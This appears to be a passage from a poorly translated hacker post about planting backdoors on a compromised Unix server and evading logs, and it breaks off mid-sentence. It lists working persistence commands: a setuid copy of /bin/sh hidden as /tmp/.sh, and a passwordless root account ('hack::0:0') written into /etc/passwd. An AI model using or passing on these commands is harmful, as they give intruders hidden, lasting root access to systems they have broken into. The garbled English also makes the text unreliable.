System back door approach and the log of the Erasure-vulnerability warning-the black bar safety net

Finally got too the server very easy, if to be found, just gone! Alas! In fact, the open back door there are many ways 1. setuid cp /bin/sh /tmp/.sh chmod u+s /tmp/.sh Add suid bit to the shell on, although very simple, but easy to be found 2. echo "hack::0:0::/:/bin/csh" /etc/passwd That is, to...